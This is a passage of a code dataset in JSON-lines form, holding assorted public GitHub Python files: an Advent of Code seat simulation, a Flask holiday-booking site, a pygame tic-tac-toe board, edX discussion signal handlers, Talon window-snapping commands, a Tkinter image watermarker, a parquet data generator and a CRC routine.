range(8)]\nST=[]\ncnt=0\ndomino(0,0)\nprint(cnt)","repo_name":"seunghee73/mar-algo-study","sub_path":"0329/1553_haeng.py","file_name":"1553_haeng.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28503141202","text":"with open(\"./day_11/data.txt\") as f:\n seats = [list(line) for line in f.read().splitlines()]\n\nrows = len(seats)\ncols = len(seats[0])\n\n\ndef iterate(seats, window_func, threshold):\n changed = False\n result = [[None]*rows for x in range(cols)]\n for y in range(rows):\n for x in range(cols):\n windowed = window_func(seats, y, x)\n count_occupied = sum(1 if x == '#' else 0 for x in windowed)\n seat = seats[y][x]\n\n if seat == 'L':\n if count_occupied == 0:\n result[y][x] = '#'\n changed = True\n else:\n result[y][x] = 'L'\n elif seat == '#':\n if count_occupied >= threshold:\n result[y][x] = 'L'\n changed = True\n else:\n result[y][x] = '#'\n elif seat == '.':\n result[y][x] = '.'\n\n return result, changed\n\n\ndef run(window_func, threshold):\n counter = 0\n result = [row[:] for row in seats]\n while True:\n result, changed = iterate(result, window_func, threshold)\n if not changed:\n break\n\n counter += 1\n\n total_seats = sum(1 if seat == '#' else 0 for row in result for seat in row)\n print('Stabilized after rounds', counter, 'seats taken', total_seats)\n\n\nprint('Part 1')\nrun(lambda seats, x, y: [\n item\n for sublist in [sub[max(0, x-1):x+2] for sub in seats[max(0, y-1):y+2]]\n for item in sublist\n], threshold=4)\n\n\nprint('Part 2')\n\n\ndef rayed_window(seats, row, col):\n rows = len(seats)\n cols = len(seats[0])\n\n return [\n next((seats[row-i][col] for i in range(1, row + 1) if seats[row-i][col] != '.'), 'x'),\n next((seats[row-i][col+i] for i in range(1, min(row + 1, cols - col)) if seats[row-i][col+i] != '.'), 'x'),\n next((seats[row][col+i] for i in range(1, cols - col) if seats[row][col+i] != '.'), 'x'),\n next((seats[row+i][col+i] for i in range(1, min(cols, rows) - max(col, row)) if seats[row+i][col+i] != '.'), 'x'),\n next((seats[row+i][col] for i in range(1, rows - row) if seats[row+i][col] != '.'), 'x'),\n next((seats[row+i][col-i] for i in range(1, min(col + 1, rows - row)) if seats[row+i][col-i] != '.'), 'x'),\n next((seats[row][col-i] for i in range(1, col + 1) if seats[row][col-i] != '.'), 'x'),\n next((seats[row-i][col-i] for i in range(1, min(col + 1, row + 1)) if seats[row-i][col-i] != '.'), 'x'),\n ]\n\n\nrun(rayed_window, threshold=5)\n","repo_name":"joelluijmes/advent-of-code-2020","sub_path":"python/day_11/puzzle_11.py","file_name":"puzzle_11.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25811524346","text":"# A python file with the Flask framework which will render HTML pages and collect and store data submitted\n# by the customers of the website.\n# Created by Christina Chui and Nicole Nieves\nfrom flask import Flask, render_template, request\nfrom datetime import datetime\nimport csv\n\napp = Flask(__name__)\n\n# All the HTML pages are rendered using the Flask framework\n@app.route('/')\ndef home(): \n return render_template('index.html')\n\n@app.route('/information')\ndef information(): \n return render_template('information.html')\n\n@app.route('/things_to_do')\ndef thingstodo(): \n return render_template('thingstodo.html')\n\n@app.route('/directions')\ndef directions(): \n return render_template('directions.html')\n\n@app.route('/contactus')\ndef contactus(): \n return render_template('contactus.html')\n\n### ========= Reviews Page ========= ###\n@app.route('/reviews')\ndef reviews():\n reviewsFile='static/comments.csv'\n reviewsList=readFile(reviewsFile)\n return render_template('reviews.html',reviewsList=reviewsList)\n\n@app.route('/addReview', methods = ['POST'])\ndef addReview():\n reviewsFile = 'static/comments.csv'\n reviewsList=readFile(reviewsFile)\n \n now = datetime.now()\n # dd-mm-yyyy hh:mm time format\n format = \"%d-%m-%Y %H:%M%p\"\n now = now.strftime(format)\n \n posterName=request.form[('Name')]+' ('+now+')'\n # If no name is entered make the name be 'Anon'\n if (request.form[('Name')] == ''):\n \tposterName='Name: Anon'\n \n review=request.form[('Review')]\n newEntry=[posterName,review]\n # If there is no review text do not add the review\n if (request.form[('Review')] == ''):\n \tpass\n else:\n \treviewsList.append(newEntry)\n \n writeFile(reviewsList,reviewsFile)\n return render_template('reviews.html',reviewsList=reviewsList)\n\ndef readFile(reviewsFile):\n with open(reviewsFile,'r') as inFile:\n reader=csv.reader(inFile)\n reviewsList=[row for row in reader]\n return reviewsList \n\ndef writeFile(reviewsList, reviewsFile):\n with open(reviewsFile, 'w', newline='') as outFile:\n writer = csv.writer(outFile)\n writer.writerows(reviewsList)\n return\n\n### ========= Booking Page ========= ###\n@app.route('/booking')\ndef booking():\n\tbookingFile = 'static/booking.csv'\n\tbookingTable= readFile(bookingFile)\n\treturn render_template('booking.html', bookingTable = bookingTable)\n\n@app.route('/displayBook', methods = ['GET'])\ndef displayBook():\n\tbookingFile = 'static/booking.csv'\n\tbookingTable= readBookingFile(bookingFile)\n\n@app.route('/addBookEntry', methods = ['POST'])\ndef addBookEntry():\n\tbookingFile = 'static/booking.csv'\n\tbookingTable= readFile(bookingFile)\n\t\n\tcontactName = request.form[('name')]\n\temail = request.form[('email')]\n\tcheckIn = request.form[('checkIn')]\n\tcheckOut = request.form[('checkOut')]\n\tpeople = request.form[('people')]\n # Initialize confirmed to 'No' when the booking is submitted\n\tconfirmed='No';\n\tnewBookEntry= [contactName, email, checkIn, checkOut, people, confirmed]\n \n # Check if any of the fields are blank\n\tif ((contactName=='') or (email=='') or (checkIn=='') or (checkOut=='')):\n\t\tpass\n\telse:\n\t\tbookingTable.append(newBookEntry)\n\twriteFile(bookingTable, bookingFile)\n\treturn render_template('booking.html', bookingTable = bookingTable)\n\ndef readBookFile(bookingFile):\n\twith open(bookingFile, 'r') as inFile:\n\t\treader = csv.reader(inFile)\n\t\tbookingTable = [row for row in reader]\n\treturn bookingTable\n\ndef writeBookFile(bookingTable, bookingFile):\n\twith open(bookingFile, 'w', newline='') as outFile:\n\t\twriter = csv.writer(outFile)\n\t\tprint(bookingTable)\n\t\twriter.writerows(bookingTable)\n\treturn\n\n# Re-launches the Flask web server when changes have been made to the file\nif __name__ == \"__main__\":\n\tapp.run(debug = True)","repo_name":"nicolekn/holiday-website","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":3775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74038874322","text":"'''# Faça um programa que desenhe a seguinte situação de um jogo da velha na tela:\nO| |X\n-----\nO|X|\n-----\nO|X|O\nO fundo da tela deve ser Branco\nDeverá estar escrito centralizado em cima do tabuleiro o título \"Jogo da Velha\"na cor\nPreto.\nO tabuleiro, no tamanho e na posição que você preferir, deverá estar na cor Steel Azul\nAs jogadas \"X\"deverão ser desenhados como duas linhas cruzadas e estar na cor Verde\nHunter\nAs jogadas \"O\"deverão ser desenhadas círculos não preenchidos estar na cor Vermelho\nIndiano\nDeverá ter um traço em cima do trio vencedor com uma cor aleatória e largura aleatória\nentre 1 e 10.'''\nimport pygame, sys\nfrom pygame.locals import * \n\npygame.init()\n\nblue = (0, 50, 255)\nwhite = (255, 255, 255)\nblack = (0, 0, 0)\nvermelho = (255, 0, 0)\n\nwidth = 500 \nheight = 400 \n\ntela = pygame.display.set_mode((width, height), 0, 32)\npygame.display.set_caption(\"Jogo da Velha\")\ntela.fill(white)\n\n#Criar Retângulo\ndef gnrt_rect(x,y,w ,h, esp):\n\tespe_linha = 4 # Espessura da linha \n\tdata_list = []\n\tbk_y = y\n\tfor i in range (3):\n\t\tfor j in range(3):\n\t\t\tpygame.draw.rect(tela, black, (x, y, w, h), 1)\n\t\t\tdata_list.append([(x,y),(x+w, y+h)])\n\t\t\tif i != 2:\n\t\t\t\tlinha_posx = x + w + esp/2\n\t\t\t\tpygame.draw.line(tela, black, (linha_posx - 1, y), (linha_posx - 1, y + h - 1), espe_linha)\n\t\t\ty += h + esp\n\t\tx+= w + esp\n\t\ty = bk_y\n\treturn data_list\n\n# Criar local de jogo\ndef gnrt_board():\n\ty = 70\n\th = 70\n\tw = 70\n\tesp = 10 #espaçamento entre os rentangulos\n\tx = width/2 - (3*w + 2* esp)/2\n\tdata_list = gnrt_rect(x, y, w, h,esp)\n\tprint(data_list)\ngnrt_board()\n\nfonte_txt = pygame.font.SysFont(None, 32)\ntexto = fonte_txt.render(\"Jogo da Velha\", True, black )\ntexto_rect = texto.get_rect()\ntexto_rect.centerx = width/2\ntexto_rect.centery = 15\n\ntela.blit(texto,texto_rect)\n\npygame.display.update()\nwhile True:\n\tfor event in pygame.event.get():\n\t\tif event.type == QUIT:\n\t\t\tpygame.quit()\n\t\t\tsys.exit()\n\t\t# print(pygame.mouse.get_pos())","repo_name":"joaoVtr/1-Geral","sub_path":"Jogo_da_velha/jogo_da_velha.py","file_name":"jogo_da_velha.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12605883953","text":"\"\"\"\nSignal handlers related to discussions.\n\"\"\"\n\n\nimport logging\n\nfrom django.conf import settings\nfrom django.dispatch import receiver\nfrom django.utils.html import strip_tags\nfrom opaque_keys.edx.locator import LibraryLocator\nfrom xmodule.modulestore.django import SignalHandler\n\nfrom lms.djangoapps.discussion import tasks\nfrom lms.djangoapps.discussion.rest_api.tasks import send_response_notifications, send_thread_created_notification\nfrom openedx.core.djangoapps.django_comment_common import signals\nfrom openedx.core.djangoapps.site_configuration.models import SiteConfiguration\nfrom openedx.core.djangoapps.theming.helpers import get_current_site\n\nlog = logging.getLogger(__name__)\n\n\nENABLE_FORUM_NOTIFICATIONS_FOR_SITE_KEY = 'enable_forum_notifications'\n\n\n@receiver(SignalHandler.course_published)\ndef update_discussions_on_course_publish(sender, course_key, **kwargs): # pylint: disable=unused-argument\n \"\"\"\n Catches the signal that a course has been published in the module\n store and creates/updates the corresponding cache entry.\n Ignores publish signals from content libraries.\n \"\"\"\n if isinstance(course_key, LibraryLocator):\n return\n\n context = {\n 'course_id': str(course_key),\n }\n tasks.update_discussions_map.apply_async(\n args=[context],\n countdown=settings.DISCUSSION_SETTINGS['COURSE_PUBLISH_TASK_DELAY'],\n )\n\n\n@receiver(signals.comment_created)\ndef send_discussion_email_notification(sender, user, post, **kwargs): # lint-amnesty, pylint: disable=missing-function-docstring, unused-argument\n current_site = get_current_site()\n if current_site is None:\n log.info('Discussion: No current site, not sending notification about post: %s.', post.id)\n return\n\n try:\n if not current_site.configuration.get_value(ENABLE_FORUM_NOTIFICATIONS_FOR_SITE_KEY, False):\n log_message = 'Discussion: notifications not enabled for site: %s. Not sending message about post: %s.'\n log.info(log_message, current_site, post.id)\n return\n except SiteConfiguration.DoesNotExist:\n log_message = 'Discussion: No SiteConfiguration for site %s. Not sending message about post: %s.'\n log.info(log_message, current_site, post.id)\n return\n\n send_message(post, current_site)\n\n\n@receiver(signals.comment_flagged)\n@receiver(signals.thread_flagged)\ndef send_reported_content_email_notification(sender, user, post, **kwargs): # lint-amnesty, pylint: disable=missing-function-docstring, unused-argument\n current_site = get_current_site()\n if current_site is None:\n log.info('Discussion: No current site, not sending notification about post: %s.', post.id)\n return\n\n try:\n if not current_site.configuration.get_value(ENABLE_FORUM_NOTIFICATIONS_FOR_SITE_KEY, False):\n log_message = 'Discussion: reported content notifications not enabled for site: %s. ' \\\n 'Not sending message about post: %s.'\n log.info(log_message, current_site, post.id)\n return\n except SiteConfiguration.DoesNotExist:\n log_message = 'Discussion: No SiteConfiguration for site %s. Not sending message about post: %s.'\n log.info(log_message, current_site, post.id)\n return\n\n send_message_for_reported_content(user, post, current_site, sender)\n\n\ndef create_message_context(comment, site):\n thread = comment.thread\n return {\n 'course_id': str(thread.course_id),\n 'comment_id': comment.id,\n 'comment_body': comment.body,\n 'comment_author_id': comment.user_id,\n 'comment_created_at': comment.created_at, # comment_client models dates are already serialized\n 'thread_id': thread.id,\n 'thread_title': thread.title,\n 'thread_author_id': thread.user_id,\n 'thread_created_at': thread.created_at, # comment_client models dates are already serialized\n 'thread_commentable_id': thread.commentable_id,\n 'site_id': site.id\n }\n\n\ndef create_message_context_for_reported_content(user, post, site, sender):\n \"\"\"\n Create message context for reported content.\n \"\"\"\n def get_comment_type(comment):\n \"\"\"\n Returns type of comment.\n \"\"\"\n return 'response' if comment.get('parent_id', None) is None else 'comment'\n\n context = {\n 'user_id': user.id,\n 'course_id': str(post.course_id),\n 'thread_id': post.thread.id if sender == 'flag_abuse_for_comment' else post.id,\n 'title': post.thread.title if sender == 'flag_abuse_for_comment' else post.title,\n 'content_type': 'post' if sender == 'flag_abuse_for_thread' else get_comment_type(post),\n 'content_body': strip_tags(post.body),\n 'thread_created_at': post.created_at,\n 'thread_commentable_id': post.commentable_id,\n 'site_id': site.id,\n 'comment_id': post.id if sender == 'flag_abuse_for_comment' else None,\n }\n return context\n\n\ndef send_message(comment, site): # lint-amnesty, pylint: disable=missing-function-docstring\n context = create_message_context(comment, site)\n tasks.send_ace_message.apply_async(args=[context])\n\n\ndef send_message_for_reported_content(user, post, site, sender): # lint-amnesty, pylint: disable=missing-function-docstring\n context = create_message_context_for_reported_content(user, post, site, sender)\n tasks.send_ace_message_for_reported_content.apply_async(args=[context], countdown=120)\n\n\n@receiver(signals.thread_created)\ndef create_thread_created_notification(*args, **kwargs):\n \"\"\"\n Creates a notification when new thread is created\n \"\"\"\n user = kwargs['user']\n post = kwargs['post']\n send_thread_created_notification.apply_async(args=[post.id, post.attributes['course_id'], user.id])\n\n\n@receiver(signals.comment_created)\ndef create_comment_created_notification(*args, **kwargs):\n \"\"\"\n Creates a notification when new response or comment is created\n \"\"\"\n user = kwargs['user']\n comment = kwargs['post']\n thread_id = comment.attributes['thread_id']\n parent_id = comment.attributes['parent_id']\n course_key_str = comment.attributes['course_id']\n send_response_notifications.apply_async(args=[thread_id, course_key_str, user.id, parent_id])\n","repo_name":"openedx/edx-platform","sub_path":"lms/djangoapps/discussion/signals/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":6277,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"} +{"seq_id":"9484461912","text":"import time\n\nfrom talon import ui\nfrom talon.voice import Context\n\nfrom ..config import config\nfrom .. import utils\nfrom . import switcher\n\n\"\"\"Provides a voice-driven window management application implemented in Talon.\n\nYou can use this to replace applications like Spectacle, BetterSnapTool, and Divvy.\n\nTodo:\n - Provide for mapping keyboard shortcuts as a fallback when the new API is launched.\n\"\"\"\n\n\ndef sorted_screens():\n \"\"\"\n return screens sorted by their left most edge, from left to right\n \"\"\"\n return sorted(ui.screens(), key=lambda screen: screen.visible_rect.left)\n\n\ndef move_screen(off=None, screen_number=None, win=None):\n if win is None:\n win = ui.active_window()\n\n src_screen = win.screen\n screens = sorted_screens()\n if screen_number is None:\n screen_number = (screens.index(src_screen) + off) % len(screens)\n else:\n screen_number -= 1\n\n dst_screen = screens[screen_number]\n if src_screen == dst_screen:\n return\n\n src = src_screen.visible_rect\n dst = dst_screen.visible_rect\n old = win.rect\n\n change_screen_mode = config.get(\"window_management.change_screen_mode\", \"same\")\n if change_screen_mode == \"same\":\n new_rectangle = ui.Rect(\n dst.left + (old.left - src.left) / src.width * dst.width,\n dst.top + (old.top - src.top) / src.height * dst.height,\n old.width / src.width * dst.width,\n old.height / src.height * dst.height,\n )\n elif change_screen_mode == \"full\":\n new_rectangle = dst\n else:\n raise ValueError(\"{} screen mode not understood.\"(change_screen_mode))\n\n win.rect = new_rectangle\n time.sleep(0.25)\n win.rect = new_rectangle\n time.sleep(0.25)\n win.rect = new_rectangle\n\n\ndef resize_window(x, y, w, h):\n win = ui.active_window()\n rect = win.screen.visible_rect.copy()\n rect.x += rect.width * x\n rect.y += rect.height * y\n rect.width *= w\n rect.height *= h\n win.rect = rect\n\n\ndef resize_to_grid(column, row, columns, rows, colspan=1, rowspan=1):\n # Ensure sane values for column and row (> 1, <= columns/rows)\n column = max(min(column, columns), 1)\n row = max(min(row, rows), 1)\n\n # Ensure sane values for column/row spans (e.g. if there are 3 columns, column 3 with rowspan 2 or column 2 with\n # rowspan 3 doesn't make sense). One can only span as many columns as are remaining to the right/rows downward.\n columns_remaining = columns - column\n colspan = min(max(colspan, 1), columns_remaining + 1)\n rows_remaining = rows - row\n rowspan = min(max(rowspan, 1), rows_remaining + 1)\n\n # Convert the grid pattern passed to the function into position and size information, then pass to resize_window().\n # We subtract 1 column/row because we need the starting position of the column, which is the ending position of the\n # previous one.\n x = (column / columns) - (1 / columns)\n y = (row / rows) - (1 / rows)\n\n # Width and height are just percentages. The resize function converts them to actual width/height.\n w = (1 / columns) * colspan\n h = (1 / rows) * rowspan\n\n resize_window(x, y, w, h)\n\n\ndef grid(column, row, columns, rows, colspan=1, rowspan=1):\n \"\"\"Resize and move a window to a specific column and row within a grid of columns and rows. Optionally, you can\n span multiple rows or columns (to achieve things like \"right two-thirds\").\n\n Examples:\n 1, 1, 2, 2: moves to top-left fourth (corner) of screen\n 3, 1, 3, 1: moves to right third of screen\n 3, 2, 3, 3: on a 3x3 grid, moves to the second row (out of three) on the rightmost third of the screen. In other\n words, it forms a box as tall as one-third of the screen (as that is the height of a row).\n 2, 1, 3, 1, 2: right two-thirds, full height (starting at column 2 of 3, spanning two columns)\n \"\"\"\n return lambda m: resize_to_grid(column, row, columns, rows, colspan, rowspan)\n\n\ndef next_screen(m):\n move_screen(1)\n\n\ndef previous_screen(m):\n move_screen(-1)\n\n\ndef window_move_screen(m):\n move_screen(screen_number=utils.extract_num_from_m(m))\n\n\ndef window_move_application_screen(m):\n move_screen(\n screen_number=utils.extract_num_from_m(m),\n win=switcher.lookup_app(m).active_window,\n )\n\n\nctx = Context(\"window_management\")\nctx.keymap(\n {\n \"snap left\": grid(1, 1, 2, 1),\n \"snap right\": grid(2, 1, 2, 1),\n \"snap top\": grid(1, 1, 1, 2),\n \"snap bottom\": grid(1, 2, 1, 2),\n # Thirds and two thirds of the screen\n \"snap center third\": grid(2, 1, 3, 1),\n \"snap left third\": grid(1, 1, 3, 1),\n \"snap right third\": grid(3, 1, 3, 1),\n \"snap left two thirds\": grid(1, 1, 3, 1, colspan=2),\n \"snap right two thirds\": grid(2, 1, 3, 1, colspan=2),\n # Quarters of the screen\n \"snap top left\": grid(1, 1, 2, 2),\n \"snap top right\": grid(2, 1, 2, 2),\n \"snap bottom left\": grid(1, 2, 2, 2),\n \"snap bottom right\": grid(2, 2, 2, 2),\n # Third-of-the-screen versions of top quarters\n \"snap top left third\": grid(1, 1, 3, 2),\n \"snap top right third\": grid(3, 1, 3, 2),\n \"snap top left two thirds\": grid(1, 1, 3, 2, colspan=2),\n \"snap top right two thirds\": grid(2, 1, 3, 2, colspan=2),\n \"snap top center third\": grid(2, 1, 3, 2),\n # Third-of-the-screen versions of bottom quarters\n \"snap bottom left third\": grid(1, 2, 3, 2),\n \"snap bottom right third\": grid(3, 2, 3, 2),\n \"snap bottom left two thirds\": grid(1, 2, 3, 2, colspan=2),\n \"snap bottom right two thirds\": grid(2, 2, 3, 2, colspan=2),\n \"snap bottom center third\": grid(2, 2, 3, 2),\n \"snap center\": grid(2, 2, 8, 8, 6, 6),\n \"snap (fullscreen | screen | window)\": grid(1, 1, 1, 1),\n \"snap next\": next_screen,\n \"snap last\": previous_screen,\n \"window [move] next screen\": next_screen,\n \"window [move] preev screen\": previous_screen,\n \"window [move] screen\" + utils.numerals: window_move_screen,\n \"[window] [move] {switcher.running} [to] screen \"\n + utils.numerals: window_move_application_screen,\n }\n)\n","repo_name":"dwiel/talon_community","sub_path":"misc/window_snap.py","file_name":"window_snap.py","file_ext":"py","file_size_in_byte":6204,"program_lang":"python","lang":"en","doc_type":"code","stars":120,"dataset":"github-code","pt":"3"} +{"seq_id":"31857953019","text":"from tkinter import *\nfrom tkinter import filedialog, messagebox\nfrom PIL import Image\nfrom PIL import ImageDraw\nfrom PIL import ImageFont\n\n# ------------------------------------------ Colours -------------------------------------------#\n\nBACKGROUND = \"white\"\nTEXT_COLOUR = \"black\"\n\n# ------------------------------------------ fonts -------------------------------------------#\n\n# This dictionary is used to create the dropdown list of fonts that correlate to the fonts in the fonts folder\n# TODO 2 - Choose better fonts for the user to use.\n\nfonts = {\n \"Goldman\": \"Goldman-Regular.ttf\",\n \"Inconsolata\": \"Inconsolata-Regular.ttf\",\n \"WorkSans\": \"WorkSans-Regular.ttf\",\n}\n\n# ------------------------------------------ Watermark position -------------------------------------------#\n\n# This list is used to create the dropdown list of positions\npositions = [\"Top\", \"Bottom\"]\n\n# --------------------------------------------- Alignment ---------------------------------------------------#\n\n# This list is used to create the dropdown list of alignments\nalignments = [\"Left\", \"Center\", \"Right\"]\n\n# --------------------------------------------- Font size ---------------------------------------------------#\n\n# This list is used to create the dropdown list of Font Sizes\nfont_size = [\"Small\", \"Medium\", \"Large\"]\n\n# ------------------------------------------ watermarking function -------------------------------------------#\n\n\ndef watermarking():\n\n # opens the image file that will be watermarked\n if upload_file_link.cget(\"text\") == \"\":\n messagebox.showerror(title=\"Error\", message=\"Please select an image to add a watermark too.\")\n else:\n photo = Image.open(upload_file_link.cget(\"text\"))\n\n # gathers the image's height and width\n w, h = photo.size\n\n # determines the size of the text due\n if font_size_clicked.get() == \"Small\":\n font_size = 15\n elif font_size_clicked.get() == \"Medium\":\n font_size = 30\n elif font_size_clicked.get() == \"Large\":\n font_size = 50\n\n # 'draws' the photo onto a black canvas\n drawing = ImageDraw.Draw(photo)\n watermark_font = ImageFont.truetype(f'fonts/{fonts[font_clicked.get()]}', font_size)\n\n # creates the text box for the watermark text\n text = text_box.get()\n if text == \"\":\n messagebox.showerror(title=\"Error\", message=\"There isn't any text to use as a Watermark, please enter text you\"\n \" would like to show on the image.\")\n pass\n else:\n text_w, text_h = drawing.textsize(text, watermark_font)\n\n # defines the center/right x value for the text ot be used in the if statement below\n center_text = int(w/2)-int(text_w/2)\n right_text = w-text_w\n\n # if statement to check if the user wants the watermark at the top or bottom of the image and assigns the correct\n # there is then an embedded if statement to identify the alignment of the text on the\n # x and y coordinates\n if pos_clicked.get() == \"Top\":\n if align_clicked.get() == \"Left\":\n pos = (0, 0)\n elif align_clicked.get() == \"Center\":\n pos = (center_text, 0)\n elif align_clicked.get() == \"Right\":\n pos = (right_text, 0)\n elif pos_clicked.get() == \"Bottom\":\n if align_clicked.get() == \"Left\":\n pos = (0, h-text_h)\n elif align_clicked.get() == \"Center\":\n pos = (center_text, h-text_h)\n elif align_clicked.get() == \"Right\":\n pos = (right_text, h-text_h)\n\n # creates the black background colour for the text\n c_text = Image.new('RGB', (text_w, text_h), color='#000000')\n drawing = ImageDraw.Draw(c_text)\n\n # draws the white text onto the image\n drawing.text((0, 0), text, fill=\"#ffffff\", font=watermark_font)\n c_text.putalpha(100)\n\n photo.paste(c_text, pos, c_text)\n\n # TODO 1 - Allow the user to preview the image and then save once they are happy.\n\n # saves the image to the location below\n photo.save('watermarked_images/watermarked_image.png')\n\n # alerts the user letting them know the watermark was successful\n messagebox.showinfo(title=\"Success\", message=\"Your image has been successfully watermarked.\")\n\n # ----------------------- Preview Image -----------------------------------------------#\n\n # sets the canvas width and height relative to the uploaded image\n canvas_width = w+100\n canvas_height = h+50\n\n # adds the image to the app and displays it at the top\n canvas = Canvas(width=canvas_width, height=canvas_height, highlightthickness=0)\n img = PhotoImage(file=\"\")\n canvas.create_image(canvas_width / 2, canvas_height / 2, image=img)\n canvas.grid(column=0, row=0, columnspan=2)\n\n img.config(file=\"watermarked_images/watermarked_image.png\")\n\n\n# ------------------------------------------ watermarking function -------------------------------------------#\n\n# this function is used by the \"open\" button to allow the user to locate the image they want watermarked and upload\ndef upload_action():\n filename = filedialog.askopenfilename()\n upload_file_link.config(text=filename)\n\n# ------------------------------------------ watermarking function -------------------------------------------#\n\n# window creates the TKinter window and names it \"Watermark\" and sets the padding on the x and y axis\nwindow = Tk()\nwindow.title(\"Watermarker\")\nwindow.config(padx=100, pady=50, background=BACKGROUND)\n\n# Upload file label and button to allow the user to choose the image they would like to watermark\nupload_file_label = Label(text=\"Please select a photo to upload\", background=BACKGROUND, foreground=TEXT_COLOUR)\nupload_file_label.grid(column=0, row=1)\nupload_file = Button(window, text='Open', command=upload_action, background=BACKGROUND)\nupload_file.grid(column=1, row=1)\nupload_file_link = Label(text=\"\", background=BACKGROUND, foreground=TEXT_COLOUR)\nupload_file_link.grid(column=0, row=2, columnspan=2)\n\n# TODO 3 - make this text field a mandatory field, show ! when empty\n# Text label and text box allows the user to enter the text that they want to add as the watermark\ntext_label = Label(text=\"Watermark Text\", background=BACKGROUND, foreground=TEXT_COLOUR, pady=10)\ntext_label.grid(column=0, row=3)\ntext_box = Entry(background=BACKGROUND)\ntext_box.grid(column=1, row=3)\ntext_box.focus()\n\n# Allows the user to choose a font from a dropdown lost\nfont_clicked = StringVar()\nfont_clicked.set(\"Goldman\")\n\n\nfont_selection_label = Label(text=\"Font\", background=BACKGROUND, foreground=TEXT_COLOUR, pady=10)\nfont_selection_label.grid(column=0, row=4)\nfont_selection_dropdown = OptionMenu(window, font_clicked, *fonts.keys())\nfont_selection_dropdown.config(background=BACKGROUND)\nfont_selection_dropdown.grid(column=1, row=4)\n\n# Allows the user to choose the position of the watermark from a dropdown lost\npos_clicked = StringVar()\npos_clicked.set(\"Top\")\n\npos_selection_label = Label(text=\"Position\", background=BACKGROUND, foreground=TEXT_COLOUR, pady=10)\npos_selection_label.grid(column=0, row=5)\npos_selection_dropdown = OptionMenu(window, pos_clicked, *positions)\npos_selection_dropdown.config(background=BACKGROUND)\npos_selection_dropdown.grid(column=1, row=5)\n\n# Allows the user to choose the alignment of the watermark from a dropdown lost\nalign_clicked = StringVar()\nalign_clicked.set(\"Left\")\n\nalign_selection_label = Label(text=\"Alignment\", background=BACKGROUND, foreground=TEXT_COLOUR, pady=10)\nalign_selection_label.grid(column=0, row=6)\nalign_selection_dropdown = OptionMenu(window, align_clicked, *alignments)\nalign_selection_dropdown.config(background=BACKGROUND)\nalign_selection_dropdown.grid(column=1, row=6)\n\n# Allows the user to choose the font size of the watermark from a dropdown lost\nfont_size_clicked = StringVar()\nfont_size_clicked.set(\"Small\")\n\nfont_size_selection_label = Label(text=\"Font size\", background=BACKGROUND, foreground=TEXT_COLOUR, pady=10)\nfont_size_selection_label.grid(column=0, row=7)\nfont_size_selection_dropdown = OptionMenu(window, font_size_clicked, *font_size)\nfont_size_selection_dropdown.config(background=BACKGROUND)\nfont_size_selection_dropdown.grid(column=1, row=7)\n\n\n# Submit button that calls the \"Watermarking()\" function\nsubmit = Button(text=\"Watermark!\",\n command=watermarking,\n background=BACKGROUND,\n foreground=TEXT_COLOUR\n )\nsubmit.grid(column=0, row=9, columnspan=2)\n\nsuccess_message = Label(text=\"\")\nsuccess_message.grid(column=0, row=10, columnspan=2)\n\nwindow.mainloop()\n","repo_name":"JordanM1994/portfolio","sub_path":"watermarking/watermark.py","file_name":"watermark.py","file_ext":"py","file_size_in_byte":8960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27774449707","text":"import os\n\nimport pandas as pd\nimport numpy as np\n\n\ndef create_data(num_rows: int, num_cols: int, dtype: np.dtype = np.float32):\n\n return pd.DataFrame(\n np.random.uniform(0.0, 10.0, size=(num_rows, num_cols)),\n columns=[f\"feature_{i}\" for i in range(num_cols)],\n dtype=dtype)\n\n\ndef create_labels(num_rows: int,\n num_classes: int = 2,\n dtype: np.dtype = np.int32):\n\n return pd.Series(\n np.random.randint(0, num_classes, size=num_rows),\n dtype=dtype,\n name=\"label\")\n\n\ndef create_parquet(filename: str,\n num_rows: int,\n num_features: int,\n num_classes: int = 2,\n num_partitions: int = 1):\n\n partition_rows = num_rows // num_partitions\n for partition in range(num_partitions):\n print(f\"Creating partition {partition}\")\n data = create_data(partition_rows, num_features)\n labels = create_labels(partition_rows, num_classes)\n partition = pd.Series(\n np.full(partition_rows, partition), dtype=np.int32)\n\n data[\"labels\"] = labels\n data[\"partition\"] = partition\n\n os.makedirs(filename, 0o755, exist_ok=True)\n data.to_parquet(filename, partition_cols=[\"partition\"])\n\n\ndef main():\n create_parquet(\n \"parted.parquet\",\n num_rows=1_000_000_000,\n num_partitions=1_000,\n num_features=8,\n num_classes=2)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"richardliaw/xgboost_ray","sub_path":"examples/create_test_data.py","file_name":"create_test_data.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"39555474262","text":"# -*- coding: utf-8 -*-\nfrom bitarray import bitarray\n\n\ndef xor_at(a, b, offset=0):\n for k, bk in enumerate(b):\n index = offset + k\n a[index] = a[index] ^ bk\n\n\ndef crc(d, g):\n # We'd prefer not to modify the argument in xor_at\n dcopy = d.copy()\n\n # Generator/data length\n gLength = len(g)\n dLength = len(dcopy)\n\n # Empty bitarray, of generator length\n gZero = bitarray([0] * gLength)\n\n # Loop through, and perform necessary edits to data, via xor_at\n for i in range(0, (dLength - gLength + 1)):\n # If leading bit is zero, perform xor_at with zeroes bitarray\n if (dcopy[i] == 0):\n xor_at(dcopy, gZero, i)\n # Else perform xor_at with original generator\n else:\n xor_at(dcopy, g, i)\n\n # Return the appropriate remainder\n return dcopy[dLength - gLength + 1: dLength]\n\n\nif __name__ == '__main__':\n\n print(\"From Kurose & Ross (7e), page 478:\")\n g = bitarray('1001') # generator\n d = bitarray('101110') # data (without padding/shifting)\n p = bitarray('000') # padding\n r = crc(d + p, g) # error-correction bits\n assert r == bitarray('011') # known quotient\n assert crc(d + r, g) == p 